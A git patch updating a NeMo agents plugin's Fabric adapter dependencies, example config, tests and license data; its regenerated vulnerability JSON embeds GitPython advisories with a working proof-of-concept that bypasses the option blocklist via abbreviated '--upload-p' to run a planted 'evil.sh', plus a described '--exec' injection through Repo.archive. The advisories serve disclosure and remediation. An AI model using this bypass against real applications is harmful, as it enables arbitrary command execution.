From f9504af39523ec9d07809a269e260da0163b3c6d Mon Sep 17 00:00:00 2001 From: Ajay Thorve Date: Wed, 22 Jul 2026 23:15:52 -0700 Subject: [PATCH 1/4] Update Fabric adapter compatibility Signed-off-by: Ajay Thorve --- packages/nemo_platform/pyproject.toml | 4 +- .../examples/nemo-agent-config/.gitignore | 2 + .../examples/nemo-agent-config/README.md | 41 + .../examples/nemo-agent-config/agent.yaml | 4 +- plugins/nemo-agents/pyproject.toml | 4 +- .../nemo_agents_plugin/fabric/translator.py | 2 +- .../tests/unit/test_agent_config.py | 3 +- .../tests/unit/test_fabric_translator.py | 22 +- .../tests/unit/test_fabric_validation.py | 2 +- third_party/licenses.jsonl | 7 + third_party/osv-licenses.json | 1557 +++++++++++------ third_party/requirements-main.txt | 37 +- uv.lock | 108 +- 13 files changed, 1196 insertions(+), 597 deletions(-) create mode 100644 plugins/nemo-agents/examples/nemo-agent-config/.gitignore create mode 100644 plugins/nemo-agents/examples/nemo-agent-config/README.md diff --git a/packages/nemo_platform/pyproject.toml b/packages/nemo_platform/pyproject.toml index d490c52581..4fef554c12 100644 --- a/packages/nemo_platform/pyproject.toml +++ b/packages/nemo_platform/pyproject.toml @@ -234,7 +234,9 @@ nemo-agents-plugin = [ "boto3>=1.40.46,<1.40.62", "botocore>=1.40.46,<1.40.62", "httpx>=0.27", - "nemo-fabric>=0.1.0a20260717,<0.2.0", + "nemo-fabric>=0.1.0a20260722,<0.2.0", + "nemo-fabric-adapters-codex>=0.1.0a20260722,<0.2.0", + "nemo-fabric-adapters-hermes>=0.1.0a20260722,<0.2.0; python_version < '3.14'", "pyyaml>=6.0", "anthropic>=0.88.0", "rich>=13.7.1", diff --git a/plugins/nemo-agents/examples/nemo-agent-config/.gitignore b/plugins/nemo-agents/examples/nemo-agent-config/.gitignore new file mode 100644 index 0000000000..11530f2cbf --- /dev/null +++ b/plugins/nemo-agents/examples/nemo-agent-config/.gitignore @@ -0,0 +1,2 @@ +artifacts/ +workspace/ diff --git a/plugins/nemo-agents/examples/nemo-agent-config/README.md b/plugins/nemo-agents/examples/nemo-agent-config/README.md new file mode 100644 index 0000000000..f31641c1c5 --- /dev/null +++ b/plugins/nemo-agents/examples/nemo-agent-config/README.md @@ -0,0 +1,41 @@ +# Fabric-Backed Agent Config + +This Platform-owned config invokes Codex or Hermes through NeMo Fabric. Run the +commands below from the repository root. + +## Codex + +Authenticate Codex, leave `default_harness: codex` in `agent.yaml`, and run: + +```bash +npm install -g @openai/codex +codex login + +nemo agents invoke \ + --agent-config plugins/nemo-agents/examples/nemo-agent-config/agent.yaml \ + --input "Reply with exactly: platform fabric works" +``` + +## Hermes + +Hermes Agent has dependencies that conflict with the Platform environment, so +install it with the Fabric adapter in a separate Python 3.12 environment: + +```bash +uvx uv@0.9.14 venv --python 3.12 .venv-hermes +uvx uv@0.9.14 --no-config pip install \ + --python .venv-hermes/bin/python \ + "nemo-fabric-adapters-hermes==0.1.0a20260722" \ + "hermes-agent==0.19.0" + +export HERMES_ADAPTER_PYTHON="$PWD/.venv-hermes/bin/python" +export NVIDIA_API_KEY="" +``` + +Temporarily set `default_harness: hermes` in `agent.yaml`, then run: + +```bash +nemo agents invoke \ + --agent-config plugins/nemo-agents/examples/nemo-agent-config/agent.yaml \ + --input "Reply with exactly: platform hermes works" +``` diff --git a/plugins/nemo-agents/examples/nemo-agent-config/agent.yaml b/plugins/nemo-agents/examples/nemo-agent-config/agent.yaml index c32431e030..e009ebe953 100644 --- a/plugins/nemo-agents/examples/nemo-agent-config/agent.yaml +++ b/plugins/nemo-agents/examples/nemo-agent-config/agent.yaml @@ -2,7 +2,7 @@ config_format: nemo-agents-spec-v1 name: test-agent description: Test agent config -default_harness: hermes +default_harness: codex harnesses: hermes: @@ -13,6 +13,7 @@ harnesses: api_key_env: NVIDIA_API_KEY temperature: 0.0 settings: + python_env: HERMES_ADAPTER_PYTHON base_url: https://integrate.api.nvidia.com/v1 max_iterations: 1 max_tokens: 512 @@ -24,7 +25,6 @@ harnesses: kind: codex settings: sandbox: workspace-write - skip_git_repo_check: true config_overrides: model_reasoning_effort: high diff --git a/plugins/nemo-agents/pyproject.toml b/plugins/nemo-agents/pyproject.toml index 0785542d54..89568c72e0 100644 --- a/plugins/nemo-agents/pyproject.toml +++ b/plugins/nemo-agents/pyproject.toml @@ -18,7 +18,9 @@ dependencies = [ "httpx>=0.27", # TODO(AIRCORE-897): Move this to a stable Fabric version before release once available. # TODO(AIRCORE-897): Add the `relay` extra once nemo-evaluator-sdk's nemo-relay pin allows >=0.5. - "nemo-fabric>=0.1.0a20260717,<0.2.0", + "nemo-fabric>=0.1.0a20260722,<0.2.0", + "nemo-fabric-adapters-codex>=0.1.0a20260722,<0.2.0", + "nemo-fabric-adapters-hermes>=0.1.0a20260722,<0.2.0; python_version < '3.14'", "pyyaml>=6.0", # improvement/ subpackage — agent-improvement workflow (POC). "anthropic>=0.88.0", diff --git a/plugins/nemo-agents/src/nemo_agents_plugin/fabric/translator.py b/plugins/nemo-agents/src/nemo_agents_plugin/fabric/translator.py index 248f418580..17f3ecd841 100644 --- a/plugins/nemo-agents/src/nemo_agents_plugin/fabric/translator.py +++ b/plugins/nemo-agents/src/nemo_agents_plugin/fabric/translator.py @@ -13,7 +13,7 @@ HARNESS_ADAPTER_IDS = { "claude": "nvidia.fabric.claude", - "codex": "nvidia.fabric.codex.cli", + "codex": "nvidia.fabric.codex", "deepagents": "nvidia.fabric.langchain.deepagents", "hermes": "nvidia.fabric.hermes", } diff --git a/plugins/nemo-agents/tests/unit/test_agent_config.py b/plugins/nemo-agents/tests/unit/test_agent_config.py index 8198e0a9b7..fcd446df76 100644 --- a/plugins/nemo-agents/tests/unit/test_agent_config.py +++ b/plugins/nemo-agents/tests/unit/test_agent_config.py @@ -34,6 +34,7 @@ def _example_yaml_config() -> dict: "temperature": 0.0, }, "settings": { + "python_env": "HERMES_ADAPTER_PYTHON", "base_url": "https://integrate.api.nvidia.com/v1", "max_iterations": 1, "max_tokens": 512, @@ -46,7 +47,6 @@ def _example_yaml_config() -> dict: "kind": "codex", "settings": { "sandbox": "workspace-write", - "skip_git_repo_check": True, "config_overrides": {"model_reasoning_effort": "high"}, }, }, @@ -92,6 +92,7 @@ def test_example_yaml_config_validates(self) -> None: assert config.default_harness == "hermes" assert config.harnesses["hermes"].model is not None assert config.harnesses["hermes"].model.provider == "nvidia" + assert config.harnesses["hermes"].settings["python_env"] == "HERMES_ADAPTER_PYTHON" assert config.harnesses["codex"].settings["sandbox"] == "workspace-write" assert config.models["default"].model == "openai/gpt-5.4" assert config.skills is None diff --git a/plugins/nemo-agents/tests/unit/test_fabric_translator.py b/plugins/nemo-agents/tests/unit/test_fabric_translator.py index 69af563999..c9f3883bac 100644 --- a/plugins/nemo-agents/tests/unit/test_fabric_translator.py +++ b/plugins/nemo-agents/tests/unit/test_fabric_translator.py @@ -6,10 +6,11 @@ from __future__ import annotations import copy +from pathlib import Path from typing import Any import pytest -from nemo_agents_plugin.agent_config import AgentConfig +from nemo_agents_plugin.agent_config import AgentConfig, load_agent_config from nemo_agents_plugin.fabric.translator import FabricTranslationError, translate_agent_config @@ -29,6 +30,7 @@ def _example_yaml_config() -> dict[str, Any]: "temperature": 0.0, }, "settings": { + "python_env": "HERMES_ADAPTER_PYTHON", "base_url": "https://integrate.api.nvidia.com/v1", "system_prompt": "You are a concise assistant.", }, @@ -37,7 +39,6 @@ def _example_yaml_config() -> dict[str, Any]: "kind": "codex", "settings": { "sandbox": "workspace-write", - "skip_git_repo_check": True, }, }, }, @@ -70,6 +71,18 @@ def _example_yaml_config() -> dict[str, Any]: class TestTranslateAgentConfig: + def test_repository_example_uses_current_codex_and_isolated_hermes_adapters(self) -> None: + example_path = Path(__file__).parents[2] / "examples/nemo-agent-config/agent.yaml" + config = load_agent_config(example_path) + + codex_config = translate_agent_config(config, harness_name="codex") + hermes_config = translate_agent_config(config, harness_name="hermes") + + assert codex_config.harness.adapter_id == "nvidia.fabric.codex" + assert "skip_git_repo_check" not in codex_config.harness.settings + assert hermes_config.harness.adapter_id == "nvidia.fabric.hermes" + assert hermes_config.harness.settings["python_env"] == "HERMES_ADAPTER_PYTHON" + def test_translates_default_harness(self) -> None: config = AgentConfig.model_validate(_example_yaml_config()) @@ -79,6 +92,7 @@ def test_translates_default_harness(self) -> None: assert fabric_config.metadata.description == "Example Agent" assert fabric_config.harness.adapter_id == "nvidia.fabric.hermes" assert fabric_config.harness.resolution == "preinstalled" + assert fabric_config.harness.settings["python_env"] == "HERMES_ADAPTER_PYTHON" assert fabric_config.harness.settings["system_prompt"] == "You are a concise assistant." assert fabric_config.models["default"].provider == "nvidia" assert fabric_config.models["default"].model == "nvidia/nemotron-3-nano-30b-a3b" @@ -92,7 +106,7 @@ def test_selected_harness_uses_default_model(self) -> None: fabric_config = translate_agent_config(config, harness_name="codex") - assert fabric_config.harness.adapter_id == "nvidia.fabric.codex.cli" + assert fabric_config.harness.adapter_id == "nvidia.fabric.codex" assert fabric_config.harness.settings["sandbox"] == "workspace-write" assert fabric_config.models["default"].provider == "openai" assert fabric_config.models["default"].model == "openai/gpt-5.4" @@ -101,7 +115,7 @@ def test_selected_harness_uses_default_model(self) -> None: ("kind", "adapter_id"), [ ("claude", "nvidia.fabric.claude"), - ("codex", "nvidia.fabric.codex.cli"), + ("codex", "nvidia.fabric.codex"), ("deepagents", "nvidia.fabric.langchain.deepagents"), ("hermes", "nvidia.fabric.hermes"), ], diff --git a/plugins/nemo-agents/tests/unit/test_fabric_validation.py b/plugins/nemo-agents/tests/unit/test_fabric_validation.py index 1041258d8d..9d056b55ab 100644 --- a/plugins/nemo-agents/tests/unit/test_fabric_validation.py +++ b/plugins/nemo-agents/tests/unit/test_fabric_validation.py @@ -228,7 +228,7 @@ async def test_selected_harness_is_translated(self, fake_fabric_stack: None) -> fabric=_FakeFabric(), ) - assert result.fabric_config.harness.adapter_id == "nvidia.fabric.codex.cli" + assert result.fabric_config.harness.adapter_id == "nvidia.fabric.codex" assert result.fabric_config.models["default"].model == "openai/gpt-5.4" async def test_invalid_platform_config_is_reported(self, fake_fabric_stack: None) -> None: diff --git a/third_party/licenses.jsonl b/third_party/licenses.jsonl index b9f63ff0dd..27082acacf 100644 --- a/third_party/licenses.jsonl +++ b/third_party/licenses.jsonl @@ -153,6 +153,10 @@ {"name": "mypy-extensions", "license": "MIT", "compatible": true} {"name": "nemo-anonymizer", "license": "APACHE-2.0", "compatible": true} {"name": "nemo-fabric", "license": "APACHE-2.0", "compatible": true} +{"name": "nemo-fabric-adapters-codex", "license": "APACHE-2.0", "compatible": true} +{"name": "nemo-fabric-adapters-common", "license": "APACHE-2.0", "compatible": true} +{"name": "nemo-fabric-adapters-hermes", "license": "APACHE-2.0", "compatible": true} +{"name": "nemo-fabric-runtime", "license": "APACHE-2.0", "compatible": true} {"name": "nemo-relay", "license": "APACHE-2.0", "compatible": true} {"name": "nemo-safe-synthesizer", "license": "APACHE-2.0", "compatible": true} {"name": "nemoguardrails", "license": "APACHE-2.0", "compatible": true} @@ -174,6 +178,8 @@ {"name": "oci-openai", "license": "UPL-1.0", "compatible": true} {"name": "onnxruntime", "license": "MIT", "compatible": true} {"name": "openai", "license": "APACHE-2.0", "compatible": true} +{"name": "openai-codex", "license": "APACHE-2.0", "compatible": true} +{"name": "openai-codex-cli-bin", "license": "APACHE-2.0", "compatible": true} {"name": "openapi-pydantic", "license": "MIT", "compatible": true} {"name": "openevals", "license": "MIT", "compatible": true} {"name": "openinference-semantic-conventions", "license": "APACHE-2.0", "compatible": true} @@ -285,6 +291,7 @@ {"name": "tenacity", "license": "APACHE-2.0", "compatible": true} {"name": "tiktoken", "license": "MIT", "compatible": true} {"name": "tokenizers", "license": "APACHE-2.0", "compatible": true} +{"name": "tomli-w", "license": "MIT", "compatible": true} {"name": "tomlkit", "license": "MIT", "compatible": true} {"name": "tornado", "license": "APACHE-2.0", "compatible": true} {"name": "tqdm", "license": "MIT", "compatible": true} diff --git a/third_party/osv-licenses.json b/third_party/osv-licenses.json index 0e655abe90..aa93e68df9 100644 --- a/third_party/osv-licenses.json +++ b/third_party/osv-licenses.json @@ -371,25 +371,30 @@ "version": "8.3.1", "ecosystem": "PyPI" }, - "vulnerabilities": [ + "groups": [ { - "modified": "2026-07-13T07:15:21Z", - "published": "2026-04-30T14:16:36Z", - "schema_version": "1.7.5", - "id": "PYSEC-2026-2132", + "ids": [ + "PYSEC-2026-2132" + ], "aliases": [ "CVE-2026-7246", - "GHSA-47fr-3ffg-hgmw" - ], - "details": "Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H" - } + "GHSA-47fr-3ffg-hgmw", + "PYSEC-2026-2132" ], + "max_severity": "7.2" + } + ], + "licenses": [ + "BSD-3-Clause" + ], + "vulnerabilities": [ + { "affected": [ { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/click/PYSEC-2026-2132.yaml" + }, + "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "click", @@ -397,7 +402,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -405,7 +409,8 @@ { "fixed": "8.3.3" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -469,12 +474,17 @@ "8.3.0", "8.3.1", "8.3.2" - ], - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/click/PYSEC-2026-2132.yaml" - } + ] } ], + "aliases": [ + "CVE-2026-7246", + "GHSA-47fr-3ffg-hgmw" + ], + "details": "Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.", + "id": "PYSEC-2026-2132", + "modified": "2026-07-13T07:15:21.899333658Z", + "published": "2026-04-30T14:16:36.433Z", "references": [ { "type": "WEB", @@ -504,24 +514,15 @@ "type": "EVIDENCE", "url": "https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw" } - ] - } - ], - "groups": [ - { - "ids": [ - "PYSEC-2026-2132" - ], - "aliases": [ - "CVE-2026-7246", - "GHSA-47fr-3ffg-hgmw", - "PYSEC-2026-2132" ], - "max_severity": "7.2" + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", + "type": "CVSS_V3" + } + ] } - ], - "licenses": [ - "BSD-3-Clause" ] }, { @@ -920,22 +921,55 @@ "version": "3.1.50", "ecosystem": "PyPI" }, - "vulnerabilities": [ + "groups": [ { - "modified": "2026-07-21T20:00:30Z", - "published": "2026-07-21T19:43:43Z", - "schema_version": "1.7.5", - "id": "GHSA-2f96-g7mh-g2hx", - "summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist", - "details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=` \u2192 executed as `--upload-pack=` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--=` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p= -> git runs \ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" - } + "ids": [ + "GHSA-2f96-g7mh-g2hx" + ], + "aliases": [ + "GHSA-2f96-g7mh-g2hx" + ], + "max_severity": "8.8" + }, + { + "ids": [ + "GHSA-956x-8gvw-wg5v" + ], + "aliases": [ + "GHSA-956x-8gvw-wg5v" + ], + "max_severity": "8.4" + }, + { + "ids": [ + "GHSA-rwj8-pgh3-r573" + ], + "aliases": [ + "GHSA-rwj8-pgh3-r573" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "GHSA-v396-v7q4-x2qj" + ], + "aliases": [ + "GHSA-v396-v7q4-x2qj" ], + "max_severity": "8.7" + } + ], + "licenses": [ + "BSD-3-Clause" + ], + "vulnerabilities": [ + { "affected": [ { + "database_specific": { + "last_known_affected_version_range": "<= 3.1.50", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2f96-g7mh-g2hx/GHSA-2f96-g7mh-g2hx.json" + }, "package": { "ecosystem": "PyPI", "name": "gitpython", @@ -943,7 +977,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -951,7 +984,8 @@ { "fixed": "3.1.51" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -1058,13 +1092,23 @@ "3.1.7", "3.1.8", "3.1.9" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.1.50", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2f96-g7mh-g2hx/GHSA-2f96-g7mh-g2hx.json" - } + ] } ], + "database_specific": { + "cwe_ids": [ + "CWE-184", + "CWE-78" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:43:43Z", + "nvd_published_at": null, + "severity": "HIGH" + }, + "details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=` \u2192 executed as `--upload-pack=` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--=` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p= -> git runs \ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.", + "id": "GHSA-2f96-g7mh-g2hx", + "modified": "2026-07-23T03:14:29.723431971Z", + "published": "2026-07-21T19:43:43Z", "references": [ { "type": "WEB", @@ -1087,32 +1131,25 @@ "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51" } ], - "database_specific": { - "cwe_ids": [ - "CWE-184", - "CWE-78" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:43:43Z", - "nvd_published_at": null, - "severity": "HIGH" - } - }, - { - "modified": "2026-07-21T20:15:26Z", - "published": "2026-07-21T20:10:06Z", + "related": [ + "CGA-wpw7-54fg-vx4m" + ], "schema_version": "1.7.5", - "id": "GHSA-956x-8gvw-wg5v", - "summary": "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`", - "details": "## Summary\n\nGitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, \u2026) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\": \"\"}` becomes `git archive --remote=. --exec= -- `, and `git archive --remote=` invokes `git-upload-archive` whose path is overridden by `--exec` \u2192 **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(, upload_pack=\"\")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=` with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, 